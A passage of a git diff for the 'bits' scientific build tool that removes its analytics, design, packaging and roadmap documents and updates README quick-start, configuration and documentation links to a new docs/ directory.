diff --git a/ANALYTICS.md b/ANALYTICS.md deleted file mode 100644 index c209cf6c..00000000 --- a/ANALYTICS.md +++ /dev/null @@ -1,117 +0,0 @@ -# aliBuild's Anonymous Aggregate User Behaviour Analytics - -aliBuild has begun gathering **anonymous** aggregate user behaviour -analytics. You will be notified the first time you run an aliBuild with -this feature enabled, and you will be able to opt out. Read below for -all the details. - -## Why? -Resources which we can dedicate to support multiple architectures and -compilers are limited. As a result, we do not have the resources to do -detailed user studies of aliBuild users to decide on how best to design -future features and prioritise current work. Anonymous aggregate user -analytics allow us to prioritise fixes and features based on how, where -and when people use aliBuild. -For example: - -- if a recipe is widely used and is failing often it will enable us to - prioritise fixing that recipe over others. -- collecting the OS version allows us to decide what versions of Linux / OS X to - prioritise and support and identify build failures that occur only on single - versions. - -## What? -aliBuild's analytics record some shared information for every event: - -- The aliBuild user agent e.g. `aliBuild/1.3.0 (Macintosh; x86-64 osx) Python/2.7.9` -- The Google Analytics version i.e. `1` - (https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters#v) -- The aliBuild analytics tracking ID e.g. `UA-77346950-1` - (https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters#tid) -- A aliBuild analytics user ID e.g. `1BAB65CC-FE7F-4D8C-AB45-B7DB5A6BA9CB`. - This is generated by `uuidgen` and stored in `~/.config/bits/analytics-uuid` - This does not allow us to track individual users but does enable us to - accurately measure user counts vs. event counts - (https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters#cid) -- The Google Analytics anonymous IP setting is enabled i.e. `1` - (https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters#aip) -- The aliBuild application name e.g. `aliBuild` (https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters#an) -- The aliBuild application version e.g. `1.3.0` (https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters#av) -- The aliBuild analytics hit type e.g. `screenview` (https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters#t) - -aliBuild's analytics records the following different events: - -- a `screenview` hit type with the official aliBuild command you have run (with - arguments stripped) e.g. `aliBuild build` (not `aliBuild build AliceO2`) -- an `event` hit type with the `install` event category, the aliBuild recipe you - have requested to build and any used options e.g. `AliRoot devel=AliRoot sys=cmake deps=ROOT` as the - action and an event label e.g. `osx_x86-64` to indicate - the OS version. This allows us to identify formulae that need fixed and where - more easily. -- an `event` hit type with the `BuildSuccess` event category, the aliBuild - recipe invoked to install e.g. `zlib` as the action and an event label - e.g. `osx_x86-64 v1.2.8 abcdef0123` to indicate the architecture, the version and - the hash of the package being build. -- an `event` hit type with the `BuildError` event category, the aliBuild - formula that failed to install e.g. `AliRoot` as the action and an event label - e.g. `osx_x86-64 master abcdef0123` to indicate the architecture, the branch / tag - and the commit that failed. -- an `exception` hit type with the `exception` event category, exception - description of the exception name e.g. `IOError` and whether - the exception was fatal e.g. `1` - -You can also view all the information that is sent by aliBuild's -analytics by setting `BITS_ANALYTICS_DEBUG=1` in your environment. -Please note this will also stop any analytics being sent. - -It is impossible for the aliBuild developers to match any particular -event to any particular user, even if we had access to the aliBuild -analytics user ID (which we do not). As far as we can tell it would -be impossible Google to match the randomly generated aliBuild-only -analytics user ID to any other Google Analytics user ID. If Google -turned evil the only thing they could do would be to lie about -anonymising IP addresses and attempt to match users based on IP -addresses. - -## When/Where? -aliBuild's analytics are sent throughout aliBuild's execution to Google -Analytics over HTTPS. - -## Who? -aliBuild's analytics are accessible to aliBuild's current maintainers -and ALICE Offline Coordination. - -## How? -The code is viewable in: - -https://github.com/alisw/bits/blob/master/bits_helpers/analytics.py - -They are done in a separate background process and fail fast to -avoid delaying any execution. They will fail immediately and silently if -you have no network connection. - -## Opting out -aliBuild analytics helps us maintainers and leaving it on is -appreciated. However, if you want to opt out of aliBuild's analytics, -you can set this variable in your environment: - -```sh -export BITS_NO_ANALYTICS=1 -``` - -Alternatively, this will prevent analytics from ever being sent: - -```sh -aliBuild analytics off -``` - -In case you decide you want to turn analytics back on: - -```sh -aliBuild analytics on -``` - -## Thanks -We would like to thank the Homebrew project as this file and the actual -python reimplementation of the analytics is based on their documentation -and code. diff --git a/DESIGN.md b/DESIGN.md deleted file mode 100644 index b9b2f9d5..00000000 --- a/DESIGN.md +++ /dev/null @@ -1,7 +0,0 @@ -This is a list of a few design choices of bits with the rationale for it. - -# git is the only "native" backend for sources - -The `source:` key in the recipes takes a git repository URL as only kind of source. This is because it was considered -that the overhead for maintaining multiple backends was not worth the candle. In the Github age, if you need something which is -not on git you can simply create your own repository and import a tarball. diff --git a/PACKAGING.md b/PACKAGING.md deleted file mode 100644 index f13de17b..00000000 --- a/PACKAGING.md +++ /dev/null @@ -1,11 +0,0 @@ -# Publishing on PyPi - -alibuild is available from PyPi. Package page at: - - - -In order to publish a new version: - -- Test, test, test. -- Create a new release in GitHub. -- The github action should automatically create a new release and upload the package to PyPi (it's a good idea to verify that the release was created and the package uploaded). diff --git a/README.md b/README.md index 751c0bf6..de36e8b5 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ Bits is a build orchestration tool for complex software stacks. It fetches sources, resolves dependencies, and builds packages in a reproducible, parallel environment. -> Full documentation is available in [REFERENCE.md](REFERENCE.md). This guide covers only the essentials. +> Full documentation is available in [docs/USERGUIDE.md](docs/USERGUIDE.md), [docs/COOKBOOK.md](docs/COOKBOOK.md), and [docs/REFERENCE.md](docs/REFERENCE.md). This guide covers only the essentials. --- @@ -24,29 +24,46 @@ On RHEL/CentOS: `yum install environment-modules` --- -## Quick Start (Building ROOT) +## Quick Start -```bash -# 1. Clone a recipe repository -git clone https://github.com/bitsorg/alice.bits.git -cd alice.bits - -# 2. Check system requirements for ROOT -bits doctor ROOT +### ALICE (default community — no configuration needed) -# 3. Build ROOT and all its dependencies +```bash +# In any empty directory: bits auto-bootstraps the ALICE recipe repo bits build ROOT -# 4. Enter the built environment +# Enter the built environment and run bits enter ROOT/latest - -# 5. Run the software root -b - -# 6. Exit the environment exit ``` +### Another community (e.g. LHCb) — one-time setup + +```bash +# Write community and work-directory to bits.rc once +bits init --organisation LHCB --work-dir /path/to/sw + +# Then build as normal — bits auto-bootstraps the LHCb recipe repo +bits build DaVinci +bits enter DaVinci/latest +``` + +### Inside a cloned recipe repository + +```bash +# bits detects defaults-release.sh and uses "." as the recipe directory +git clone https://github.com/bitsorg/lhcb.bits +cd lhcb.bits +bits build DaVinci +``` + +### Check system requirements before building + +```bash +bits doctor ROOT +``` + --- ## Basic Commands @@ -63,41 +80,51 @@ exit | `bits doctor --runner` | Validate the full build-runner environment (compiler, git, Docker, podman, CVMFS, disk, store). | | `bits verify --from-manifest FILE` | Confirm a live deployment matches the build manifest (SHA-256 and provider commits). | -[Full command reference](REFERENCE.md#16-command-line-reference) +[Full command reference](docs/REFERENCE.md#16-command-line-reference) --- ## Configuration -Create a `bits.rc` file (INI format) to set defaults: +Use `bits init` to write persistent settings to `bits.rc` (created in the current directory): + +```bash +bits init --organisation LHCB \ + --work-dir /path/to/sw \ + --remote-store https://mybucket/builds +``` + +Or write `bits.rc` by hand (INI format, `[bits]` section): ```ini [bits] -organisation = ALICE -remote_store = https://s3.cern.ch/swift/v1/alibuild-repo -prerequisites_url = https://alice-doc.github.io/alice-analysis-tutorial/building/ -cvmfs_repos = /cvmfs/alice.cern.ch,/cvmfs/sft.cern.ch - -[ALICE] -sw_dir = /path/to/sw # output directory -repo_dir = /path/to/recipes # recipe repository root -search_path = common,extra # additional recipe dirs (appended .bits) +organisation = LHCB +work_dir = /path/to/sw +remote_store = https://s3.cern.ch/swift/v1/alibuild-repo +prerequisites_url = https://lhcb-software.web.cern.ch/ +cvmfs_repos = /cvmfs/lhcbdev.cern.ch,/cvmfs/sft.cern.ch ``` -Bits looks for `bits.rc` in: `--config FILE` → `./bits.rc` → `./.bitsrc` → `~/.bitsrc`. +`organisation` is written **uppercase** (`ALICE`, `LHCB`, …). Bits lowercases it +internally when resolving the community recipe repository from bits-providers +(e.g. `LHCB` → `lhcb.bits.sh` → `https://github.com/bitsorg/lhcb.bits`). + +Bits looks for `bits.rc` in: `--rc-file FILE` → `./bits.rc` → `./.bitsrc` → `~/.bitsrc`. Useful `[bits]` keys: -| Key | Description | -|-----|-------------| -| `remote_store` | Default binary store URL (same syntax as `--remote-store`). | -| `write_store` | Default upload store URL. | -| `prerequisites_url` | URL shown when `bits doctor` cannot find the C++ compiler or git. | -| `cvmfs_repos` | Comma-separated CVMFS mount paths checked by `bits doctor --runner`. | -| `provider_policy` | `name:prepend\|append` pairs controlling `BITS_PATH` insertion order. | -| `store_integrity` | `true` to enable SHA-256 verification of every recalled tarball. | +| Key | CLI flag | Description | +|-----|----------|-------------| +| `organisation` | `--organisation` | Community name (uppercase). Used to auto-bootstrap the recipe repo. | +| `work_dir` | `-w` / `--work-dir` | Output directory for built packages (default: `sw`). | +| `remote_store` | `--remote-store` | Binary store URL for pre-built tarball retrieval. | +| `write_store` | `--write-store` | Binary store URL for uploading newly built tarballs. | +| `prerequisites_url` | — | URL shown when `bits doctor` cannot find the C++ compiler or git. | +| `cvmfs_repos` | — | Comma-separated CVMFS mount paths checked by `bits doctor --runner`. | +| `provider_policy` | — | `name:prepend\|append` pairs controlling `BITS_PATH` insertion order. | +| `store_integrity` | `--store-integrity` | `true` to enable SHA-256 verification of every recalled tarball. | -[Configuration details](REFERENCE.md#4-configuration) +[Configuration details](docs/USERGUIDE.md#4-configuration) --- @@ -118,7 +145,7 @@ make -j${JOBS:-1} make install ``` -[Complete recipe reference](REFERENCE.md#17-recipe-format-reference) +[Complete recipe reference](docs/REFERENCE.md#17-recipe-format-reference) --- @@ -134,7 +161,7 @@ bits cleanup --min-free 100 # free space until at least 100 GiB available bits cleanup -n # dry-run: show what would be removed ``` -[Cleaning options](REFERENCE.md#7-cleaning-up) +[Cleaning options](docs/USERGUIDE.md#7-cleaning-up) --- @@ -151,9 +178,9 @@ bits build --docker --architecture slc9_aarch64 MyAnalysis bits build --remote-store s3://mybucket/builds ROOT ``` -The `--cvmfs-prefix` flag (which embeds the final CVMFS deployment path at compile time so no relocation is needed at publish time) and `bits publish --no-relocate` are used by the **bits-console-triggered CI pipeline** on the build runners — they are not normally typed by end users. See [WORKFLOWS.md Phase 5](WORKFLOWS.md#phase-5--ci-build-and-cvmfs-publication-via-bits-console) for the user-facing workflow and [REFERENCE.md §22](REFERENCE.md#22-docker-support) for the flag reference. +The `--cvmfs-prefix` flag (which embeds the final CVMFS deployment path at compile time so no relocation is needed at publish time) and `bits publish --no-relocate` are used by the **bits-console-triggered CI pipeline** on the build runners — they are not normally typed by end users. See [WORKFLOWS.md Phase 5](docs/WORKFLOWS.md#phase-5--ci-build-and-cvmfs-publication-via-bits-console) for the user-facing workflow and [docs/REFERENCE.md §22](docs/REFERENCE.md#22-docker-support) for the flag reference. -[Docker support](REFERENCE.md#22-docker-support) | [Cross-compilation via QEMU](REFERENCE.md#22b-cross-compilation-via-qemu) | [Remote stores](REFERENCE.md#21-remote-binary-store-backends) +[Docker support](docs/REFERENCE.md#22-docker-support) | [Cross-compilation via QEMU](docs/REFERENCE.md#222-cross-compilation-via-qemu) | [Remote stores](docs/REFERENCE.md#21-remote-binary-store-backends) --- @@ -171,7 +198,7 @@ bits verify --from-manifest alice-o2-20260411.json \ --cvmfs-root /cvmfs/alice.cern.ch ``` -[bits doctor reference](REFERENCE.md#bits-doctor) | [bits verify reference](REFERENCE.md#bits-verify) | [Deployment verification §22c](REFERENCE.md#22c-bits-verify--deployment-verification) +[bits doctor reference](docs/REFERENCE.md#bits-doctor) | [bits verify reference](docs/REFERENCE.md#23-bits-verify--deployment-verification) --- @@ -190,7 +217,7 @@ tox -e darwin # reduced suite on macOS pytest # fast unit tests only ``` -[Developer guide](REFERENCE.md#part-ii--developer-guide) +[Developer guide](docs/REFERENCE.md#part-i--developer-guide) --- @@ -198,24 +225,19 @@ pytest # fast unit tests only bits uses a single toolchain from your laptop to experiment-wide CVMFS. Clone a package source next to your recipe checkout and bits detects it automatically, building your local version while resolving all other dependencies from the shared recipe repo. Once tested locally, the change follows an unbroken path: commit → recipe MR → CI build → `bits publish` → CVMFS. Group admins publish full experiment stacks; individual users can publish single packages to a separate namespace — both paths use the same commands and the same recipes. -See **[WORKFLOWS.md](WORKFLOWS.md)** for the full phase-by-phase walkthrough and workflow diagram. +See **[WORKFLOWS.md](docs/WORKFLOWS.md)** for the full phase-by-phase walkthrough and workflow diagram. --- ## Next Steps -- [Development-to-deployment workflow & diagram](WORKFLOWS.md) -- [Environment management (`bits enter`, `load`, `unload`)](REFERENCE.md#6-managing-environments) -- [Dependency graph visualisation](REFERENCE.md#bits-deps) -- [Runner environment validation (`bits doctor --runner`)](REFERENCE.md#bits-doctor) -- [Deployment verification (`bits verify`)](REFERENCE.md#22c-bits-verify--deployment-verification) -- [Repository provider feature (dynamic recipe repos)](REFERENCE.md#13-repository-provider-feature) -- [Defaults profiles](REFERENCE.md#18-defaults-profiles) -- [Cross-compilation via QEMU](REFERENCE.md#22b-cross-compilation-via-qemu) -- [Design principles & limitations](REFERENCE.md#24-design-principles--limitations) -- [CVMFS publishing pipeline & bits-console](REFERENCE.md#26-cvmfs-publishing-pipeline) +- **[User Guide](docs/USERGUIDE.md)** — installation, configuration, building, environments, cleaning up +- **[Cookbook](docs/COOKBOOK.md)** — practical recipes for common tasks +- **[Reference Manual](docs/REFERENCE.md)** — command-line flags, recipe format, environment variables, Docker, stores, CVMFS pipeline, developer guide +- **[Workflows](docs/WORKFLOWS.md)** — development-to-deployment walkthrough and diagram +- **[Roadmap](docs/ROADMAP.md)** — planned features and priorities --- -**Note**: Bits is under active development. For the most up-to-date information, see the full [REFERENCE.md](REFERENCE.md). +**Note**: Bits is under active development. For the most up-to-date information, see the full [docs/REFERENCE.md](docs/REFERENCE.md). ``` diff --git a/ROADMAP.md b/ROADMAP.md deleted file mode 100644 index e198bc8f..00000000 --- a/ROADMAP.md +++ /dev/null @@ -1,731 +0,0 @@ -# bits — Roadmap - -bits is a purpose-built build and distribution system for large scientific software -stacks. Understanding where it stands relative to alternatives is essential for -prioritising future development. - -### Landscape - -The meaningful comparison set is not general-purpose build tools (CMake, Make, Meson) -but package managers that orchestrate multi-package source builds for scientific -computing: - -| System | Primary audience | Core model | Dependency resolution | -|--------|-----------------|------------|-----------------------| -| **Spack** | HPC/scientific | Spec language + variants | `clingo` SAT solver | -| **EasyBuild** | HPC/scientific | Easyconfig files + toolchains | Manual pinning | -| **Nix / NixOS** | General, reproducibility-focused | Purely functional derivations | Closed-form, per-derivation | -| **Guix** | General, reproducibility-focused | Scheme-defined packages | Same as Nix | -| **Conda / Mamba** | Data science / scientific | Binary-first, env-scoped | SAT solver (libmamba) | -| **aliBuild** | ALICE / HEP | Recipe files + tarball store | Manual pinning | -| **lcgcmake** | LCG / CERN | CMake-driven | Manual pinning | -| **bits** | HEP experiments / CVMFS | Recipe files + tarball store + CVMFS pipeline | Manual pinning (version ranges: roadmap) | - -### Strengths and weaknesses - -#### Where bits leads - -**CVMFS-native publishing pipeline.** No other general-purpose build system has a -first-class, integrated publishing path to CVMFS. Spack has community-contributed -CVMFS support, but it is bolted on externally. The bits `--cvmfs-prefix` + -`bits publish` + `bits-cvmfs-ingest` + `cvmfs-publish.sh` stack is a cohesive -end-to-end pipeline from recipe to mounted filesystem. For the O(10⁴) users of CERN -experiment software on CVMFS this is the central value proposition. - -**Developer workflow: local checkout shadowing.** The ability to have one or more -locally checked-out packages seamlessly shadow their counterparts in the central -recipe repository — without configuration files or path surgery — is the single most -important differentiator for interactive development. A physicist who checks out -`ROOT` runs `bits build MyAnalysis` and immediately gets their local version picked -up, with all downstream packages rebuilt consistently. This use case was directly -evaluated in Spack and found unworkable in our environment: Spack's development-mode -workflow does not compose naturally with stacks of O(100) interdependent packages, and -the concretiser's full recomputation on every dev-package change makes interactive -iteration too slow for practical use. - -**Recipe simplicity.** YAML header + plain bash. A physicist who can write a Makefile -can write a bits recipe without learning a domain-specific language. Spack's spec -language and variant system are powerful but carry a steep learning curve. EasyBuild's -easyconfig format is verbose and structured. Nix and Guix require fluency in -functional languages. bits has the lowest barrier to entry of any system in this set -for scientists writing their own recipes. - -**Repository providers.** Pulling a recipe repository dynamically from git — keyed on -a recipe that sets `provides_repository: true` — and merging it into the search path -lets experiment groups maintain independent recipe repositories without forking or -patching a central registry. The bits-providers registry already contains entries for -`alice.bits`, `common.bits`, `lcg.bits`, `lhcb.bits`, and `key4hep.bits`. Spack has a -similar "repos" concept but the activation is more manual and is not part of the -default dependency-graph traversal. - -**Standard module file output.** Every bits-installed package produces a -module-compatible environment description that is consumed by `bits q`, `bits enter`, -and `bits print` for interactive environment management. Crucially, these module files -are not bits-specific: once a stack is deployed on CVMFS they can be loaded directly -by standard Environment Modules or Lmod outside of bits, with no bits installation -required on the user's machine. A researcher who `module load ROOT` on an HPC cluster -that mounts the relevant CVMFS repository gets a correctly configured environment -built by bits. This is a genuine bridge to the HPC community that is currently -underappreciated and underdocumented. - -**bits-console + GitLab CI pipeline integration.** The browser-based build console -with role-based access control, community-scoped `ui-config.yaml` configuration, and -a triggered build → ingest → publish pipeline is unique in this space. Spack and -EasyBuild assume HPC cluster job schedulers (SLURM, PBS); bits targets GitLab CI -runners, which is where CERN experiments and the broader open-science community -already operate. - -#### Where gaps exist - -**No dependency constraint solver.** All dependency versions are pinned in recipes. -There is no mechanism for expressing "ROOT >= 6.28" or for automatically resolving -version conflicts across simultaneously active stacks. EasyBuild has the same -limitation. Spack's `clingo`-based concretiser and Conda's SAT solver both handle this -correctly. For large stacks with many independent release lines this is the most -significant technical gap in bits today. - -**Package count comparisons are misleading — but ecosystem coverage is still limited.** -Raw recipe counts favour systems that compile every Python package, Perl module, and R -library individually. bits deliberately defers to native binary distribution -mechanisms: a single recipe installs dozens of Python wheels through `pip`, preserving -version coherence without recipe proliferation. Spack's ~8,000 packages and -Conda-forge's ~25,000 are substantially inflated by individual scripting-language -module recipes and by the Cartesian product of compiler × architecture × OS × variant -combinations generating redundant entries. The directly comparable count — compiled, -non-trivial C++/Fortran/CUDA packages — is much closer. That said, outside the CERN -experiment portfolio, recipe coverage is sparse. Growing the shared recipe base is a -prerequisite for broader adoption. - -**Binary stores exist but need wider adoption.** bits supports two complementary -binary distribution modes: a local CI store (build once, reuse on subsequent jobs) and -a shared community store (S3-compatible, pre-built tarballs downloadable by any user -on a supported architecture). The technical foundation is complete. The gap is -coverage — which architectures and stacks are pre-built — and discoverability. An end -user who discovers bits and tries `bits build ROOT` on an unsupported architecture -faces a full compilation that takes hours. This perception problem is addressable -without new features. - -**Build isolation is opt-in, not the default.** The recipe sandbox (`--sandbox=auto`) -uses rootless podman on Linux and `sandbox-exec` on macOS, but falls back silently to -no isolation when podman is not installed. In contrast, Nix achieves true hermetic -isolation unconditionally — no implicit host-library leakage, no ambient `$PATH` -contamination. A bits recipe can accidentally depend on a host library not declared in -its recipe and still build successfully, masking a portability bug. Making sandboxing -the default for CI pipelines (the controlled environment where it matters most) is -technically straightforward and is on the roadmap. - -**Reproducibility is strong but not hermetic.** bits achieves reproducibility through -content-addressed tarballs, checksum enforcement, and build manifests. This is -practically solid but does not reach Nix/Guix-level isolation, where the build -environment itself (compiler, libc, every tool in `$PATH`) is hashed and reproducible -from a single root derivation. For most HEP use cases — reproducible physics analysis -on a shared CVMFS installation — bits' model is sufficient. For bit-for-bit -reproducible builds independent of the host OS, Nix/Guix remain stronger. - -**Cross-compilation is not yet documented or automated.** bits has no built-in -cross-compilation toolchain management. However, QEMU user-space emulation combined -with the existing `--docker` mechanism makes cross-architecture builds possible without -any changes to bits itself: registering `qemu-aarch64-static` as a `binfmt` handler on -an x86-64 runner lets a standard ARM64 builder image run transparently. This path needs -documentation and CI configuration support, not new engineering. - -**`prefer_system` detection is artisanal.** Using a cluster's vendor-optimised MPI, -BLAS, or CUDA requires a per-recipe detection script written by the recipe author. -There is no standard library of detection snippets and no automated fallback policy -when detection fails. EasyBuild has similar weaknesses; Spack's external packages -mechanism is more systematic. - -#### Conclusion - -bits is the right tool for anyone deploying large C++/Fortran/CUDA scientific software -stacks to CVMFS via GitLab CI, especially when interactive development with local -package checkouts is part of the workflow. Within that scope it is mature, cohesive, -and not well-matched by any alternative in the comparison set. - -Outside that scope — pure HPC without CVMFS, general open-source software distribution, -or environments where end users install from binary packages without a build step — -bits does not compete with Spack (larger ecosystem, better constraint resolution), -Conda (binary-first, data science ecosystem), or Nix/Guix (hermetic reproducibility). -The most meaningful comparison is with **EasyBuild**: similar audience, similar -recipe-file model, similar absence of a constraint solver. bits has better CVMFS and -GitLab tooling; EasyBuild has broader HPC cluster adoption and a larger community -outside CERN. - -The primary growth lever is not adding features to match other systems but making the -features that already work — binary stores, sandbox, developer workflow — visible, -documented, and on by default. - - ---- - -## Roadmap - -The roadmap is organised into three horizons. Items within each horizon are ordered -by priority (highest first). The primary target audience is CERN experiments and their -O(10⁴) users, plus any project deploying software via CVMFS. - ---- - -### Near term — within 6 months - -These are either already implemented (pending release) or require only focused -engineering effort with no architectural changes. - -#### N1. Aggressive binary store promotion and coverage expansion - -The shared binary store is the single highest-leverage item for reducing the barrier -to entry for new users. Currently, pre-built tarballs exist for a handful of -architectures. The goal is to cover every architecture in the CERN experiment portfolio -(`slc9_x86-64`, `slc9_aarch64`, `ubuntu2204_x86-64`, `ubuntu2404_x86-64`, -`osx_x86-64`, `osx_arm64`) for the most-requested stacks. - -**Actions:** -- Register build runners for each target architecture attached to the central - bits-console instance. -- Define a `release` build schedule that rebuilds and uploads the full stack on every - merged commit to the main recipe branch. -- ✅ Add a `bits doctor --check-store` command that tells the user whether a pre-built - tarball is available for their platform before they commit to a full compilation — - implemented in `bits_helpers/doctor.py` (`_probe_tarball_in_store`, - `_run_check_store_checks`, `_emit_check_store_text`, `_emit_check_store_json`). - Resolves the full dependency tree, computes per-package hashes, and probes the - remote store via HTTP HEAD (or local path check); branch builds without - `--fetch-repos` are flagged as approximate. -- Document the store configuration more prominently in the quick-start guide. - -#### N2. Unconditional sandbox as a recommended default ✅ IMPLEMENTED - -The `--sandbox=auto` mode was advisory and fell back silently to `off` when podman -was unavailable. This milestone flips the default for CI environments to `podman`, -while keeping `auto` for local developer builds. - -**What was implemented:** - -| Component | Change | -|-----------|--------| -| `repos/bits-console/ui-config.yaml` (template) | Added `sandbox_mode` and `sandbox_required` fields with full comment block | -| `communities/ALICE/ui-config.yaml` | `sandbox_mode: "podman"`, `sandbox_required: "false"` | -| `communities/LHCb/ui-config.yaml` | `sandbox_mode: "podman"`, `sandbox_required: "false"` | -| `communities/LCG/ui-config.yaml` | `sandbox_mode: "podman"`, `sandbox_required: "false"` | -| `.gitlab/cvmfs-publish.yml` | `SANDBOX_MODE` / `SANDBOX_REQUIRED` documented in header; `SANDBOX_ARGS` construction block; `$SANDBOX_ARGS` injected into `bits build` | -| `INSTALL.txt` §1 STEP 3 | Podman (rootless) installation instructions for EL9, EL8, Ubuntu | -| `bits_helpers/doctor.py` | `_check_podman()` — reports podman availability and version (implemented in N4) | - -**Supported `sandbox_mode` values (ui-config.yaml → `SANDBOX_MODE` pipeline variable):** -- `podman` — always sandbox; fail fast if podman absent and `sandbox_required: "true"` -- `auto` — sandbox if podman present, silent fallback otherwise (bits default) -- `off` — no `--sandbox` flag passed (use only when podman is not available) - -#### N3. Cross-compilation via QEMU + Docker ✓ *implemented* - -A single x86-64 build runner can now produce tarballs for additional CPU -architectures (aarch64, ppc64le, s390x, riscv64) using QEMU user-mode emulation. -Docker pulls the matching image variant and QEMU transparently executes the foreign -ELF binaries — recipes require no modification. - -**What was implemented:** - -- `docker_platform_for_arch()` in `bits_helpers/utilities.py`: maps bits - architecture strings (e.g. `slc9_aarch64`) to Docker `--platform` values - (e.g. `linux/arm64`). -- `DockerRunner` in `bits_helpers/cmd.py`: accepts a `platform` parameter and - injects `--platform` into the long-running helper container. -- `finaliseArgs` in `bits_helpers/args.py`: automatically derives and injects the - platform when the target architecture differs from the host; no manual flag - required for the common case. -- `--docker-platform PLATFORM` CLI flag: explicit override; `native` suppresses - automatic injection for runners that are already native. -- Per-package `docker run` build command string in `bits_helpers/build.py`: also - receives `--platform` when cross-compiling. -- Warning emitted when cross-compiling with `--sandbox` enabled (nested QEMU + - podman requires `--security-opt seccomp=unconfined` and may fail). -- `INSTALL.txt` §5: full multi-architecture runner setup guide with QEMU binfmt - registration, builder image verification, and bits-console `qemu_targets` field. -- `REFERENCE.md` §22b and `docs/docs/user.md`: complete cross-compilation - documentation including architecture mapping table, performance expectations, - CVMFS prefix interaction, and sandbox caveats. - -**Scope and performance note:** QEMU user-mode emulation runs at 20–50 % of native -speed. The intended scope is personal analysis overlays (a few packages, minutes of -build time) and validation builds confirming that a recipe compiles on a target -architecture before scheduling a native-runner CI job for the full stack. Full -experiment stacks (ROOT, Geant4) require a native runner of the target architecture. - -#### N4. `bits doctor` hardening ✅ IMPLEMENTED - -`bits doctor` previously checked system requirements for a given package but had -several correctness gaps. This milestone hardens it on all fronts. - -**What was implemented:** - -- **Bug fix — duplicate `DockerRunner` context.** The old code opened and closed a - container twice: once for the compiler probe and again for `getPackageList`. Both - probes now share a single long-running container, halving container startup overhead - for `--docker` users. - -- **Bug fix — compiler missing → non-zero exit.** A missing C++ compiler previously - emitted only a `warning` and let `doDoctor` exit 0. It now sets `exitcode = 1` - consistently with the git check. - -- **Configurable prerequisite URL.** The hardcoded ALICE-specific prerequisite links - (`alice-doc.github.io/...`) are replaced by a `prerequisites_url` key read from - `bits.rc` / `.bitsrc`. Each community can point users at their own docs; the - default remains the ALICE guide for backward compatibility. - -- **`--runner` mode.** A new flag triggers a structured environment checklist - instead of the recipe dependency scan: - - | Check | Function | - |-------|----------| - | git on PATH | `_check_host_tool("git")` | - | C++ compiler | `_check_compiler()` | - | Docker daemon | `_check_docker_daemon()` (when `--docker` or `--runner`) | - | QEMU binfmt handler | `_check_qemu_binfmt(arch)` (when `--docker`) | - | podman / sandbox | `_check_podman()` | - | CVMFS repos | `_check_cvmfs_repo(path)` (per `--cvmfs-repos` or bits.rc) | - | Disk space | `_check_disk_space(workDir, minDisk)` | - | Remote store | `_check_store(url)` (https/s3/b3/rsync) | - - Each check returns a `(PASS | FAIL | WARN | SKIP, detail)` pair. FAIL counts - toward exit code 1; WARN is advisory and does not affect the exit code. - -- **`--json` flag.** Emits a machine-readable JSON report (same structure as - `bits verify --json`) so the bits-console health panel can consume runner status. - -- **`--cvmfs-repos PATH`** (repeatable) and **`--min-disk GIB`** flags. CVMFS repos - can also be set as `cvmfs_repos` (comma-separated paths) in `bits.rc`. - -- **37 tests** in `tests/test_doctor.py` cover all new check functions, JSON output, - the runner orchestrator, and the `doDoctor` dispatch, plus preserve all existing - recipe-check tests. - -#### N5. Developer workflow documentation and tooling ✅ IMPLEMENTED (`bits status`) - -The local-checkout shadowing capability is bits' most important differentiator for -interactive development but is the least documented feature. Researchers moving from -other build systems will not discover it without explicit guidance. - -**What was implemented — `bits status`:** - -`bits status` is a dry-run resolver that classifies every package in the dependency -tree without building anything. Given one or more package names it: - -1. Resolves the full dependency graph using the same `getPackageList` + topological sort - as `doBuild`. -2. Detects development packages by scanning the current directory for subdirectories - matching package names (same logic as `doBuild`; `--no-local` and `--force-tracked` - are honoured). -3. Computes build hashes from locally-cached git refs without any network access - (pass `--fetch-repos` to populate the cache on first run). -4. Classifies each package: - - | State | Condition | - |-------|-----------| - | `already_installed` | `.build-hash` matches expected hash (or CVMFS symlink present) | - | `from_store` | Matching tarball found in local `TARS/` symlink tree | - | `from_remote_store` | Tarball only in remote store (`--check-store`) | - | `local_checkout` | Matching directory in cwd; will rebuild | - | `local_checkout_unchanged` | Devel package, `devel_hash + deps_hash` unchanged; rebuild skipped | - | `build_from_source` | Nothing found; will compile from scratch | - | `hash_unknown` | Ref cache absent; re-run with `--fetch-repos` | - -5. Emits a coloured table (default) or machine-readable JSON (`--json`). - -Files added / modified: `bits_helpers/status.py` (new), `bits_helpers/args.py` -(new `status` subparser), `bitsBuild` (dispatch), `tests/test_status.py` (35 tests), -`REFERENCE.md` (§16 `bits status` entry). - -**Remaining actions (N5 not fully complete):** -- Expand the "Develop and iterate on a single package" cookbook section with a - realistic multi-package scenario (e.g. modifying O2Physics with a local O2 also in - development). -- Improve `bits init` to detect common checkout layouts and offer to configure the - development environment interactively. - ---- - -### Medium term — 6 to 18 months - -These require more significant engineering but do not require architectural changes -to the core. - -#### M1. Lightweight dependency pinning and version ranges - -The current model pins every dependency to an exact version in the recipe. This is -correct for reproducibility but makes it hard to maintain a recipe repository that -serves multiple experiment configurations simultaneously (e.g. ROOT 6.28 for LHCb -Run 3 and ROOT 6.32 for future upgrades). - -Introduce a simple `version_range` field on dependencies that constrains but does not -over-specify the version. The resolver uses the most recent satisfying version in -the known recipe set, without requiring a full SAT solver. This covers 80% of the -use cases (minimum-version constraints, exclusion of known-broken ranges) without the -complexity of Spack's concretiser. - -```yaml -requires: - - ROOT:>=6.28 - - boost:>=1.75,<1.84 -``` - -#### M2. `prefer_system` standard library - -Replace the current per-recipe artisanal detection scripts with a shared library of -detection snippets for common system-provided components: MPI implementations -(OpenMPI, MPICH, Intel MPI), BLAS/LAPACK (OpenBLAS, MKL, ATLAS), CUDA, HDF5, and -the most common Python packages. A recipe author writes: - -```yaml -prefer_system_check: !include system-checks/openmpi.sh -``` - -rather than writing MPI detection from scratch. This dramatically lowers the quality -bar for `prefer_system` usage on HPC clusters where vendor-optimised libraries are -essential for performance. - -#### M3. Reproducible build attestation - -The `--from-manifest` replay and `--store-integrity` features provide good -*verification* of stored artefacts but do not provide *attestation* — a signed -statement that a given tarball was produced from a specific recipe at a specific 